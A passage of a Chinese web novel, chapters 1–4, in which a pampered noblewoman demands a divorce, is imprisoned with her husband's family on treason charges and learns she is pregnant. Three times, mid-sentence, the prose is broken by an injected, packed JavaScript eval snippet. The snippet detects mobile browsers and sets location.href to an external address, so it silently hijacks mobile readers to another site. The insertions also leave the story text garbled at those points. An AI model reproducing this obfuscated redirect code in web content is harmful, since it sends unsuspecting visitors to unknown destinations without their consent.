《和离前怀着身孕被流放了》 1. 第 1 章 景和二年,新帝登基的第三个年头,前朝稳固,后宫也热闹,前头光膝下就有三名皇子。 而今不过三月,后宫又传来好消息,大盛新帝在一日内又添了三名皇子一名皇女。 如此大喜事,惹得朝野震动,尤其减免赋税、大赦天下的圣意三日前才传遍天下。 如此,本就繁盛的盛京越发热闹。 马车轱辘轱辘缓缓驶过街巷,汹涌的人潮见了马车顶上苏国公府的标记,急急避让两旁,让马车先行通过。 待车行过,才有外乡人语带尊敬地问本地人,“那就是苏国公府的马车?好生气派。” 本地人笑了笑,故作神秘,“是苏国公府的马车不错,但苏家人一向低调,家中风气崇尚简朴,并不如此高调。” 又是低调又是高调的,外乡人被他搞得有些糊涂,微微一躬身,“请兄弟细说。” 本地人才哈哈一笑,“那是苏国公府小少将军夫人的马车。”他拉着外乡人避让拥挤的人群,今日为待客他特意换上了媳妇新做的新外袍,可别蹭脏了。 “小少将军娶的夫人来自宣家,就外家是林太傅家的那个宣家。” 外乡人恍然大悟,他在外也有所耳闻,“就溺爱……嗯哼,就爱女如命的那个宣家?” “嘘,就那家,京城还有哪个宣家。” “我听说那姑娘当年抗旨拒婚,拒的还是当今的婚,是不是真的?”外地人看了看左右两侧,趁着没人注意到他们,忙压低了声音附在本地人耳旁问。 两个大男人,当街来这么一出,顿时吸引了不少人的注意,有窃窃私语声响起。 本地人面皮薄,忙扯着人逆着人群走开,“让一让,麻烦让一让,家里无人还烧着热水,怕晚了烧了厨房。” 这惹来好一通抱怨,左右被他们挤到的人或忍气吞声或气急败坏骂人。外乡人跟在本地人身后忙不迭地道歉,好歹平息了一点怨气,也将方才说他们私德败坏、恐为断袖的声音压了下去。 不过他问出却没能得到回答的问题,越发让他好奇得心痒痒,只待无人便要一探究竟。 远去的马车里,坐着主仆三人,正是被人议论的宣家姑娘,如今被称为小少将军夫人的宣槿妤和她两个贴身丫鬟采薇与采菽。 车里香气环绕,兰佩叮当,比两个男人以为的还要再奢华些。 “夫人,别生气了,当心气坏了身子。”稳重些的采薇贴心地倒了热茶递给宣槿妤。 宣槿妤方才骂了人,是有些渴了,只她喝了茶,脸上还是气鼓鼓的。 采薇接过茶盏放回桌上,瞧着夫人的面色,有些失笑。夫人分明已经嫁人三年了,却还保持着闺中的少女心性,也不知说好还是不好。 不过,夫家和娘家都不说什么,她身为下人,心里只有这个主子,便觉着这样也不错。至少夫人很活得痛快。 “夫人,您掀桌子那一下真漂亮。”采菽伶俐,见状夸起了宣槿妤方才的表现。 “奴婢都见着,您一开口,那些夫人小姐们都不敢说话了。可真痛快,谁让她们背后嚼人舌根。” 说着她模仿起了那些夫人小姐们噤若寒蝉的模样,不过模仿得十分不像,活像只逗趣的鹦鹉。 宣槿妤忍不住“噗嗤”笑出声来,心里的那口气也散了不少。 她点了点采菽的额头,嗔道:“就你这丫头古灵精怪的,改日就将你嫁出去。” 采菽吐了吐舌头,“夫人才舍不得呢!奴婢还小,要嫁也是采薇姐姐先嫁。” 采薇刚松了口气,不想火烧到自己身上来,微微一笑,“是采菽想嫁人了罢?一口一个嫁人的,也不知羞。” 采菽冲她做了个鬼脸。 马车里终于有了笑声。 - 苏国公府,荆竹园。 苏琯璋自从父母房中出来便沉默了很久。 “五公子。”暗卫苏十二现身,落在地上,“夫人的马车已经回到府门了。” 从府门下马车走到荆竹园,需要一刻钟。 苏琯璋终于开口,“让两位嬷嬷在小花园里候着。” 苏十二领命退下。 “你真的决定好了?”方才在书房里父亲这样问他。 “决定好了。”他回答。 母亲欲言又止,但知晓他的性子,他决定下来的事旁人难以说服更改,便只忧心地看着他。 “她嫁给儿子,也是受尽了委屈。如今放她归家,也算是儿子身为夫君为她做的最后一件事。”他还是跟母亲解释了一句。末了道:“还请母亲不要插手。” “槿妤娇气,只怕又要被你伤透了心。” 许玉娘说着便生了气,忍不住拍了他一下。她出身将门,又嫁了个大将军,武艺未曾丢下过,拍的这一下力道可不轻,但苏琯璋眉头都没动一下。 她怎就生了这么个木头,宣家林家娇养出来的姑娘,嫁给他真是可惜了。 “亏得你会投胎,不然哪里娶得到槿妤这么好的夫人。” “娶了不好好待人家,整日冷冰冰的,谁欠了你的?” “亏得宣家人林家人涵养都好,你三天两头将槿妤气哭人家都没打上门来,换个人家,你不得被围殴。” 许玉娘越说越气,这个儿子哪里都好,就是什么事情都放心上,多说两句话跟要了他命一样。 她忍不住又打了几下,还是苏国公见她出完气有些下不来台才拦住她,“好了,时间紧,既他决定好了就让他回去布置罢!” - 马车上一通说笑,到苏国公府门前时,宣槿妤的气已经散掉,轻巧地踩着小凳子下了车。 “小少夫人,”许玉娘的陪嫁许嬷嬷恰好走出来,招呼了一声,“少夫人回来倒早了些。”她笑着说道,往日的宴席可没这么早散的。 面对照顾婆婆的嬷嬷,宣槿妤有些不好意思说自己搅翻了此次宴席,只含糊应了声。 “母亲可在忙?我去给她请安。” “老爷回来了,夫人在和他说话。”许是许嬷嬷也习过武的原因,她笑起来有股旁的嬷嬷没有的英气,“不请安不打紧的。” 苏家本就没有出门回家必须向长辈请安的惯例,哪个小辈想起来了去上房一趟说说话也就算请安了。 “那我明日再去找母亲说说话。”宣槿妤说。 “诶。”许嬷嬷应了声,“小公子也回来了。他这一走就是月余,少夫人定是想他了,快些回去吧!” 宣槿妤眼睛一亮,却努力压住翘起的唇角,轻声嘟哝,“哪个想他了。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15762878|174460||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 许嬷嬷但笑不语,她还有事要出府一趟,打了招呼便匆匆离开了。 宣槿妤招呼身边在挤眉弄眼的两个丫头,“走罢!别堵在门口,挡了旁人的路了。”说完也不看她们的反应,脚步轻快地往荆竹园方向走。 采薇和采菽忍着笑跟上。 “诶,你听说了没?那人要回来了。” “谁?你说哪个人?” 宣槿妤主仆三人方才走到小花园,便听得假山后有窃语声。 大白天的,还在府里头就嚼舌根子,哪个府里有这样的规矩?宣槿妤皱了眉。 采薇观她面色,就要上前揪人,却不想一句话止住了她的步伐。 “还能是哪位?小公子的心上人啊!” 宣槿妤面色变了,深深吸了口气,拉住采薇,不让她动作。 “是她啊?她不是嫁了人了,怎的回来了?” “听说她嫁的那人是个不中用的,才两年就撒手见了阎王爷了。” “唉,也是个苦命的。当年小公子都要请夫人上门提亲了,哪知太傅求上门来,娶了个娇滴滴的少夫人回来,三天两头就要闹一通。” “谁说不是呢?可怜了小公子,心里念着人,本就苦闷,又遇到这么个夫人,怪道他整日里忙公事不愿归家。” 宣槿妤脸色铁青。 采薇瞅着她的面色,心知不好,忙轻手轻脚绕过假山,“哪个在这儿嚼舌根子?” “采……采薇姑娘。” “采薇姑娘饶命啊!奴刚吃了两口黄汤,不知天高地厚,瞎说一通。姑娘万万别当真,也别告诉小少夫人,莫让她和小公子夫妻离了心。” “嘭嘭嘭”头磕在地上的声音响亮又沉闷。 宣槿妤松开紧紧掐着的左手,手中的刺痛不及心里的疼万一。 她直接走过假山,绕过还在求饶的两位嬷嬷,直接走了,身后的采菽忐忑地跟上。 完了完了。 采薇见状,也忙匆匆跟上,再顾不得头都磕出血仍在求饶的两人。 宣槿妤一路脚步未停,沿途的丫鬟小厮见她一身杀气,身后跟着的采薇采菽两位姑娘也是满脸的怒气,一时不敢靠近。 有机灵些的,已经悄悄到上房去送信了。 宣槿妤进了荆竹园,负责洒扫的小丫鬟忙跟她行礼,道:“少夫人,公子在书房。” “少夫人。”守在书房门口的小厮侍书还未行完礼,便眼睁睁见宣槿妤直接推开了门。 “下去。” 完了,少夫人的声音都是冷的。 侍书不敢说话,忙走出了前院,见采薇采菽两位姑娘都候在这儿,他忙跟她们打听消息,是谁又惹到少夫人了? 他们公子今日才回来,不至于就惹着了人罢? 他嘴甜地叫人,一口一个“采薇姐姐”“采菽姐姐”,但往日温柔可亲的两位姐姐今日谁也没给他个好脸。 “聒噪。”采菽冷哼。 侍书讪讪地闭了嘴。 书房里。 苏琯璋见着了月余未见的妻子,他放下手中的书,语气尽量放缓,“回来了?” 想了月余的夫君就在眼前,但…… 宣槿妤眼眶发热,努力扬起下巴,“苏琯璋,我要和离。” 2. 第 2 章 未到晌午,初春的盛京风中还带了微微的凉意。 宣槿妤在这股凉意中慢慢恢复了些许冷静,不复方才一副要杀人的模样。 “苏琯璋,”宣槿妤将喉中的郁气吐出,再次重复,对上他那双不论何时都淡然清寂的眸子,“我要和离。” 苏琯璋神色未变,站起身迎向她,“我此次出去并未耽搁,公务一交接我便回府了,可是哪里惹着了你?”声音也是一贯的不疾不徐,清清淡淡。 分明是个粗莽武夫,行为举止却比京中矜贵的公子哥儿还要有风范。 但宣槿妤以往最讨厌他这副永远游刃有余的模样,好似谁也不配被他放在心上。为此,她还和他大吵了几次,然后每次皆以他主动低头作为结局。 今日,宣槿妤再见他这副模样,却失了和他争吵的心思。 原就是捂不热的人,她才不稀罕! 心里藏人却还要娶她的狗男人,臭男人! “我只是厌倦了。”宣槿妤说话间,已经见到了桌上眼熟的药瓶,努力平静的神色瞬间就消失无踪。 “你在吃药?”怒气再次直冲头顶,她推开苏琯璋,快步走到桌前,拿起药瓶。 没错的,这是装避子药的瓶子。 担心冤枉了人,她拔开瓶塞,一股熟悉的药味冲上鼻腔,她隐忍了一路的眼泪终于落了下来。 “槿妤。”苏琯璋见她落泪,忙走过去。 “苏琯璋,”宣槿妤挥开他伸过来欲要为她拭泪的手,“你在吃药?避子药?” 证据都摆在了面前,苏琯璋无可否认,只得应了声“是”。 “啪”的一声脆响,苏琯璋清隽的面上顿时多了五道红痕。 用尽全身气力打人的宣槿妤无力地靠在书桌上,夫子说的不错,先爱上的人注定要吃尽苦头。 手好疼,心里也疼。 眼泪越来越多,她也不去擦,见书桌上铺了纸,一旁的砚台中墨也未干,便取过笔匆匆下笔。 身后靠过来一人,熟悉的体温让她本能地眷恋,却又在下一刹那让她心里泛起恶心。 宣槿妤尖声叫道:“别碰我。” 苏琯璋迅速收回手,任由心里的疼将他撕扯。 墨迹未干,宣槿妤已经擦了泪,她在这人面前一向没什么形象,但最后一刻,她还是想要维护自己所剩不多的尊严。 “苏琯璋,外祖父当年逼你娶我,是他不对。”宣槿妤挤出一个比哭还难看的笑,“但你苏国公府也不是什么势弱的人家,你大可不娶。” “娶了我,你还委屈上了是吧?你心里藏了人我还没委屈,你个骗婚的无耻之徒。” 苏琯璋只看着她,一言不发,任由她发泄。 “三月前你说你已经将避子药停了,我居然傻乎乎地信了。”眼中又有清泪蓄积,宣槿妤鼻音很重,仍坚持把话说完。 “你现在又算什么?你心上人回来了,你就不愿我生下孩子是吧?” “你怎么不说话?被我说中了?” “和离书我已经写好了,”宣槿妤将毛笔递给他,“签。” 苏琯璋不动,像一尊清清冷冷的玉雕。 宣槿妤将笔直接扔在他身上,墨迹染了他一身。 玉雕碎了。 “苏家不纳妾,我成全你和你的心上人。” 苏琯璋嘴唇动了动,仍是一个字也没说出来。 他一手策划一手推动到这一步,事情都在按照他的所思所想在进行。临到最后一刻,他不容许自己有半点不舍。 他这副模样,看在宣槿妤眼中,便是默认。 她就不该对这个男人有所期待的。 宣槿妤心里最后一丝念想终于被掐断,她转过身,“我今日便收拾东西回家,和离书你自送去京兆府备案便是。” “苏琯璋,三年夫妻,劳你许多。我不是个好妻子,你也不是个好夫君。从今往后,你我之间,再不相欠。” “苏琯璋,你自由了。”哭腔中带有一丝颤抖。 苏琯璋眼中的清淡登时破碎,他眼睁睁看着宣槿妤走出了书房。 等脚步声消失在院外,他才慢慢蹲下,捡起被宣槿妤摔在地上的毛笔。 好大的脾气,笔都摔坏了。 他努力想扯出一个笑,许久无果,他便维持那样的姿势,蹲了许久。 直到苏十二现身,“少夫人如何了?”他哑声问。 苏十二恍若未觉主子的失意落拓,只道:“少夫人哭了一场,然后命丫鬟收拾了东西,现下已经走出了荆竹园。” 离开了就好。 “退下罢!让苏十三保护好她。” 苏十二身影消失在书房,苏琯璋才慢慢起身,双腿酸麻得要命,他的心里也疼得要命。 - 宣槿妤一行人走到府门。 “少夫……姑娘,苏家太过分了。”采菽回头看了一眼,只见到些探头探脑的小厮和丫鬟,苏家主子没一个露面的。 她今日一直跟着姑娘,理解姑娘的委屈。 宴席上被群嘲,说姑娘成婚三年无子是只不会下蛋的母鸡也就罢了,姑娘当场就翻了脸毁了宴席闹得那群人没脸,宴席主人武安侯夫人还忙不迭地追上来给姑娘道歉。 回了府,姑娘本是欢欢喜喜地想去见小公子的,但又听了那番话。 她都要气死了,何况姑娘? 如今姑娘要回娘家,居然没一个主子出来阻止的。 要知道,往常这时候,不说老夫人和夫人,几位少夫人都要露面出来劝和,拉姑娘回府的。还有几位哥儿姐儿,哪个不是使尽浑身解数,一口一个“小婶婶”来讨姑娘欢心? 如今…… 哼! 别不是都知道了小公子的心上人回来寡居了,姑娘和离归家怕深得他们之意罢? 亏得太傅说苏家是多好的人家,竟然一家子都瞒着姑娘。 她可怜的姑娘。 采菽越想越气。 采薇轻轻地拍了一下她,示意她收住自己的心思,姑娘还伤心难过着呢! 宣槿妤并未在意两个丫鬟之间的眉眼官司,只一心想离开这座府邸,回到娘亲的怀抱。 她还好想哭,但她才不要在这里继续哭下去,徒惹笑话。 走出府门,她望着天上漂浮着的白云,心里又酸又涩。 死男人,臭男人,该死的苏琯璋! 不远处有急促的脚步声传来,打断了她心里对苏琯璋的臭骂。 “什么人?” 苏府侍卫抽出刀拔出剑,护在宣槿妤身前,“此乃苏国公府,不得放肆。” “吁~” 马蹄声渐停,来人勒住马缰,跳下马,冲宣槿妤一拱手,“小少夫人,得罪了。” 说完他对着身后大群的官兵下令,“苏家涉嫌通敌叛国,陛下有命,将府中一干人等全部拿下。” 这人宣槿妤认得,禁军统领袭放。 明黄的圣旨在阳光的照耀下显得越发庄重,宣槿妤心里一紧,几步上前,夺了袭放手中的圣旨。 袭放并不在意宣槿妤的无礼冒犯,只示意身后几人围住宣槿妤,不让她走动。 他是不能得罪这位。 宣槿妤虽也在犯妇之列,但她还是京中世家宣家三代才出的姑娘,还是林太傅家 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15762879|174460||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 孙辈唯一的女孩儿。 两家有多宠爱这个姑娘,端看当年这位抗旨拒婚,连累当今被先帝罚戍守皇陵一年,而她不仅毫发无损,还安然嫁给了苏国公幼子便知晓。 “让开。” 宣槿妤已经看完了圣旨。 本应在战场上的苏家二叔无故失踪,疑似通敌,苏琯璋大哥三哥四哥还吃了败仗,已经被捉拿,正在归京路上。 “我今日已经和苏琯璋和离,不是苏家人,放我出去。”她厉声道。 围住她的几名禁卫军面面相觑,又看向袭放。 和离? 袭放若有所思。 宣家姑娘娇气,嫁了武将世家的苏琯璋,受不了他的冷淡脾性,三天两头闹和离的事情京中人人皆知。 只是,这位闹了三年,不也没和离成功? “小少夫人,”长相粗犷的袭放难得好言好语,“你与小公子的夫妻情趣,本统领略有耳闻。只在下有皇命在身,只得委屈你随苏家人走一趟了。” 宣槿妤被他口中的“夫妻情趣”一激,心里冒起火来,往前走了一步,就要开口,却不想被禁军侍卫拦住。 走一趟? 走去哪里? 采薇变了脸色,又见宣槿妤被拦,她忙冲袭放屈膝行礼,“袭统领,我家姑娘确已和苏家小公子和离,和离书还在苏家,千真万确。我家姑娘要归家,劳您高抬贵手。” “和离书在我这里。”门后有人说道。 宣槿妤听闻熟悉的嗓音,眼圈登时便红了。 宣槿妤,你真没出息。她心里暗骂自己。 苏琯璋被禁卫军押着走上前,也没看宣槿妤一眼,只从怀中取出宣槿妤写下的那封和离书,递给袭放。 袭放接过,展开。 确实是和离书,他看这娟秀的字迹,不由抬头看了宣槿妤一眼。 不愧宣家姑娘,他还是第一回见到由姑娘写的和离书。 他将和离书折好递回给苏琯璋,脸色便不如对着宣槿妤的好了,“小公子,你这和离书未有京兆府印章,并不作数。” 宣槿妤咬住下唇。 言外之意她听懂了。 她出来才多久?苏琯璋竟连和离书都签了。 她恨恨地回头瞪了他一眼。 苏琯璋抱拳,手中镣铐铮铮作响,“不到半个时辰前才写的和离书,正要送去京兆府。” 他重新将和离书递给袭放,“只苏某如今这般,怕是得劳烦席统领差人走一趟京兆府备案。” 袭放并不动,冷然道:“这忙袭某可帮不了。”他看向宣槿妤,“既和离书未生效,小少夫人还是苏家人,得罪了。” 正午时分,家家户户飘出饭菜香。 新帝急令还未传至他处,京中知晓苏家出事的人家并不多。只有苏国公府所在街巷这处巷口有人好奇地探头探脑,见对峙的一行人,以及大批的禁军,忙缩回脑袋。 新帝要的就是一个“急”字,袭放哪能在苏国公府门口耗时间。 再等下去,亲近苏国公府的人家得了消息,他这差事还办得了吗? 他一声令下,丫鬟小厮和侍卫们皆被关在苏家,由禁军派人看管,一个也不许踏出大门一步。 宣槿妤还是和苏家人一起被带到了刑部大牢,还是和苏琯璋单独一个牢房。苏家其余主子分老少男女关了另三个牢房,都在二人牢房旁边,抬眼便能见到彼此。 她看也不看试图抱住她的苏琯璋,委屈地将头埋进□□。 她长这么大,还从未受过这样的委屈呢! 等爹娘哥哥们和外祖父得了消息,她定要这些人好看! 3. 第 3 章 苏国公府一干主子被下狱了。 这个消息如凉水入油锅般,在盛京城中沸腾起来。 和苏国公府走得近些的人家都坐不住,何况和其结了亲的宣家和林家。 两家一接到消息,合家上下便开始打点,为自家姑娘和亲家奔走,端的是心急如焚。 一国之将通敌叛国,这罪名可不小。 单看今日新帝不声不响就着人围了苏国公府、将大小主子全部下狱,而不提前走漏半点风声的行为来看,他怕是要将事情放大。 通敌叛国,是诛三族的罪名。 但苏国公府代代殉国,累积的军功可比皇陵里埋着的历代皇帝加起来的功绩还高。 若是三堂会审,且不说功过相抵,至少不会沦落到一家皆入死牢的地步。 但宣家和林家人打听到的消息,皆指向一个可能,此事不能善了。 新帝皇位已稳当,苏国公府声名显赫,已经威胁到了他的皇权。即便没有苏家二叔战时失踪这件事,他怕也是要找机会除掉苏家。 这是林太傅林韧和女婿宣兆说的分析。 宣兆身为宣家家主,又凭自身能力坐稳户部尚书之位,政事敏锐度并不弱,如今听岳父这般说,心下更是发沉。 他的宝贝女儿槿妤也被送入刑部死牢了…… “你且回府,让婉儿先去看看槿妤。”林韧说道,起身穿上外袍,“刑部都是些人精,虽说不会让她受了欺负,但死牢是什么地方?她难免会受委屈。” 说话间林韧已经整理好衣襟,“我这就入宫求见皇上。” 宣兆应了声,说道:“婉儿心疼槿妤,怕已经等不及,这会儿当是在刑部大牢里了。” 妻子向来疼爱女儿,哪里愿意在府中干等消息? 林韧也很了解自己的女儿,闻言只点了点头,“你回去罢!我走了。” 宣兆忙跟在岳丈身后出了书房的门,见院中已有轿子等候,便目送林韧上了轿,他则匆匆跟在后头出了太傅府。 - 刑部死牢。 宣槿妤自入了牢房便没有说出一句话。 苏琯璋环视四周,见祖母、父亲母亲和三位嫂子都安然无恙,侄儿侄女们也都懂事地依偎在自己娘亲身边,神情稍微松了松。 袭放统领虽冷淡不近人情了一点,但顾及到槿妤,还是给苏国公府留了几分薄面。 他看着环抱双膝一动不动的宣槿妤,记起她还未来得及用午膳便随一行人入了这里。 “槿妤,”他轻声唤她,自怀中取出油纸包好的栗子糕,“这是我今日回京时在城南的点心铺子里买的,你吃一点。” 宣槿妤很喜欢那家铺子的栗子糕,和他闹别扭时总要使唤他在天不亮或掌灯时分去亲手买回来给她吃。 今次他因大理寺的差事外出月余,回京时本想买回来哄她,却不想刚回府便被父亲叫去了书房。 见宣槿妤一点反应都没有,苏琯璋心里酸涩,声音再放轻了些,“槿妤。” 一旁的许玉娘见状轻叹,叫住儿子,“璋小子过来。” 苏琯璋回头看了一眼,便将手中的油纸包放在宣槿妤手边,走到两座牢房之间的铁栅栏前。 “母亲。” 许玉娘望了一眼还是不动弹的小儿媳,没好气地在苏琯璋手臂狠狠拧了一下。叫他作,活该! 苏琯璋吃痛,眉头却也不动一下。 “你怎么整日里跟个假人似的。”明明刚出生的时候也是个粉雕玉琢的小小团子,长大了会走路之后就越来越像庙中的佛像。 一旁的二姐儿苏玉彤捂着嘴巴嗤嗤地笑,她才六岁,正是最活泼可爱的年纪,也是藏不住事的年纪。 “小叔又挨祖母打了。”她小声地对自己娘亲许萱娘说道。 好歹她还记得给自己的小叔留点颜面,许萱娘点了点她的鼻子,看了一眼小叔子,心下忍不住叹息。 许萱娘是许玉娘娘家侄女,她是自幼和夫君苏琯煜一起玩到大的,十六岁嫁给他,和他做了将将十年夫妻。 小叔子苏琯璋,她也是十分熟悉了。 在婆母还是她姑母的时候,就常和她抱怨自己的小儿子,不爱笑,不爱说话,庙里的佛像都没他那张脸冷淡。 明明舍不得的…… 她朝那头牢房看了一眼,见小弟妹宣槿妤还维持着进来的模样,抱紧了女儿,收敛了心思。 也是,能走一个是一个。总归她是舍不得自己的表兄夫君。 “槿妤。” “槿妤。” 急切又熟悉的声音终于将宣槿妤拉回神,她抬起头,便见到了自己的娘亲。 “娘。”她眼泪登时便下来了。 “欸。”林清婉应了声,见女儿坐在一团干草上,裙摆沾了灰,心里便是一沉。 她的女儿,自出生来,哪里遭过这样的罪? 许玉娘隔着一座牢房和她打了个招呼,林清婉只点了点头,顾不得失礼,一门心思全在自己的女儿身上。 “林夫人。”苏琯璋走过来,抬手行礼。 “你唤我什么?”林清婉脸色都黑了。 苏琯璋见宣槿妤要站起,只蹲坐久了头晕乏力险些摔倒,忙将她竖抱起来,“慢些。”见她面上犹有泪痕,忍不住用衣袖擦了。 见状,林清婉也顾不得计较女婿方才的失礼,忙示意身旁的狱卒打开牢门。 铁链和锁头碰撞声落入耳中,宣槿妤缓了缓,狠狠推了苏琯璋一把,扑入快步走进牢房的林清婉怀中。 “娘,我要回家。”她才止住的泪又涌了出来。 女儿一看便是受了大委屈的模样。 林清婉心疼坏了,“好好好,娘亲定会将你带回家的,你且等等。” 苏琯璋慢慢后退了一步。 许玉娘担心地看着自己的儿子,苏老夫人冲她摇了摇头。 苏家这回在劫难逃,璋小子做得不错,是不该将槿妤拖下水的。 他们二人性情不合,吵吵闹闹地做了三年夫妻,已经是莫大的缘分了,是他们苏家福浅。 等宣槿妤收拾好心情,才小声地将她和苏琯璋的事情说了。 “娘,和离书我们都签了字,就等到京兆府备案了。”她都快上马车离开苏国公府了,就慢了一步,便被抓到这不闻声息的牢房里。 明明是正午,牢房里却昏暗无比,仅有的一点光来自三面过道的几簇火把。而且,她之前听说牢房里鼠虫颇多,但她坐了这么久,连只蚂蚁都没见到。 外界的喧嚣一点传不到这里来,这里的动静也传不到外头去。 只有狱卒偶尔巡视时走动的脚步声,映照着昏昏沉沉的光线,似鬼影似鬼步,好生吓人。 林清婉安抚地抱住女儿。 听到和离书之事,她才心思一动。 “娘,我不要和他过了。”宣槿妤鼻音有些重,将头埋进娘亲怀里,放任了自己的脆弱。 林清婉未嫁人前也是林太傅的掌上明珠,自幼被他教导,心思也是玲珑。闻言抬头看了苏琯璋一眼,便见往日风姿清逸的女婿此时双手双脚皆披了镣铐,如此也不显狼狈,只眼神少了几分清淡。 这下她算是明白了方才在牢门外他为何唤她“林夫人”了。 “和离书现下在哪儿?”她虽是问怀中的女儿,眼神却盯着苏琯璋。 果然,昏暗的烛光下,苏琯璋眼神黯淡了下来。 他将手伸进怀中,清脆的铁器相击声响了几下便停住,“这是我们的和离书。”他双手递给林清婉。 林清婉接过,展开看了一眼。 “槿妤,你确定,不和他过了?”她温声反问宣槿妤。 宣槿妤眼泪一串串地往下掉,“不过了。” 闹了三年,京中看尽了她的笑话。到头来,她还是输给一个只活在苏府嬷嬷口中的心上人。 她真的太可笑了。 林清婉安抚地再次抱了抱女儿。 “娘带了府医来。” 宣槿妤不解地抬起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15762880|174460||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头看着她。 林清婉并未解释,只扬声唤了退守通道的狱卒,“劳烦将我带来的大夫带来。” 很快府医便被送进了这处牢房,狱卒锁好门,继续退到通道。 “你这惫懒的丫头,”林清婉点了点宣槿妤的鼻子,“是不是连自己有没有换洗都不在意?” 周遭牢房有男人,还是宣槿妤的公公,林清婉的声音压得很低,只宣槿妤、苏琯璋和府医三人听见。 宣槿妤一愣。 她上个月好像确实没有换洗。 苏琯璋不由得站起身,眉眼沉沉地看着宣槿妤,面上难得出现一丝不知所措。 府医已经开始为宣槿妤把脉,很快收回手。 “夫人,小姐确实已有两月余的身孕。”宣府府医是看着宣槿妤长大的,待她一向如自家孙辈般亲切。 “小姐身子无恙,只切记少动怒少伤心。”他温和道。 谁为他伤心了?宣槿妤咕哝着,抚上自己的腹部,还有些不可置信。她这里,竟有了孩子? 她上午才被嘲笑成婚三年无子,这会儿孩子已经揣在腹中了? 苏琯璋又喜又忧,一旁的苏家人也是喜忧掺半——府医并未刻意压低声音,周遭的人连同狱卒都听见了他说的话。 苏老夫人和许玉娘对视一眼。 若苏家逃不过这次劫难,宣槿妤腹中,可是苏家最后的骨血了。 只是,宣槿妤向来不喜璋小子,这次都闹到签了和离书的地步了,她还会愿意留下孩子么? 且不说刑部大牢里苏家人和宣槿妤母女二人如何心绪复杂,林太傅入宫求见新帝,却被拒之门外的消息很快传遍宫廷。 宫外,也不是所有人都盼着苏家好的。 至少,光宣槿妤自己,这些年在京中结下的梁子就数不胜数。 刑部尚书梁府,梁家大小姐梁桂儿闺房。 “桂儿,消息是真是假?”武安侯二小姐陈锦颇为兴奋,刚迈入里间便迫不及待地开口。 今日她娘亲设宴,席上不过有人说了宣槿妤几句闲话,这人便掀了桌案,还指着宾客毫不客气地骂了一通。 她娘亲,堂堂武安侯夫人,居然还得腆着脸追上前去赔礼道歉。 气得她中午饭都没吃多少。 只一听闻宣槿妤随苏国公一家下了刑部大牢的消息,她都不歇晌了,换了衣裳便急急赶来确认消息的真假。 马车辘辘,她过来的一路,听着路人的议论,心里早已相信了八分。 乐得她在马车上忍不住笑了好几次。 梁桂儿正坐在榻上,旁边还有个熟人,正是今日她娘武安侯夫人设的宴席上,被下了面子的何贵妃娘家妹妹何三小姐何曲薇。 “宣槿妤也有今天?”陈锦拉过何曲薇的手臂,“整日里仗着自己的家世无法无天,谁也不放在眼里。她今日这样打薇姐姐的脸,可想过自个儿现下正蹲死牢里?” 她面上浮起笑来,“这啊,就叫做报应!” 何曲薇微微一笑,并不接话,只道:“她确实家世好。” 盛京城里有多少姑娘,能像宣槿妤这般活得恣肆洒脱?就连龙椅上那位,当年那样被她下面子,如今见了她,不也客客气气地叫声“师妹”? 只怕人家心里还惦记着呢! 何曲薇心下冷笑。 长姐在宫中竟瞧不清楚,受宠的那些妃嫔,有哪个不和宣槿妤有一两分相似之处?不是容貌相似,就是脾性相近。 刑部尚书是个人精,他的女儿梁桂儿也是个圆滑的。 她只默默地任陈锦发泄心中的怒气,自己却不愿说人坏话,也不附和一句。 见陈锦还欲要再说,便拉了拉她的手,笑道:“宣家姑娘自幼受宠,如今苏家出事,宣家和林家不会袖手旁观的。” 何曲薇点头,“两家联手,不说能保住苏家,宣小姐是一定能保住的。” 陈锦泄气地松了挽着何曲薇的手,“人比人气死人,她怎么就这么会投胎呢?” 4. 第 4 章 刑部尚书名为梁方方,名字有些女气却也端正,但他为人却是和名字截然相反的圆滑世故。 他的女儿梁桂儿在家中应付闺中密友,他在刑部也得应付各处来打探消息的同僚、上司或亲友。 好不容易抽得一丝空闲时间坐下来,看守死牢的狱卒又来了,带回一个他不想知道的消息——宣槿妤有孕了。 “我可跟你讲,”梁方方严肃地说道,“你老爷我可经不住玩笑。”他努力板正面孔。 狱卒忙不迭摇头,“大人,小的岂敢?那大夫小的才送出去呢!” 那就是真的了!那宣家姑娘真的有孕了!梁方方想着,头皮有些发麻。 “你说的可是真的?”他挠着头,再三和狱卒确认。 苍天啊! 他怎么就接了这样一桩差事? 苏琯璋小公子他是大理寺少卿,陛下怕他被关押在那里大理寺上下优待苏家而避开大理寺是不错。 但将人放刑部,他就能苛待了人么? 且不说苏国公府在盛京根深权重,亲近的人家不是位高就是清贵之家。单看他们结亲的人家,除了宣家,剩下的可都是掌一方军权的为将之家。 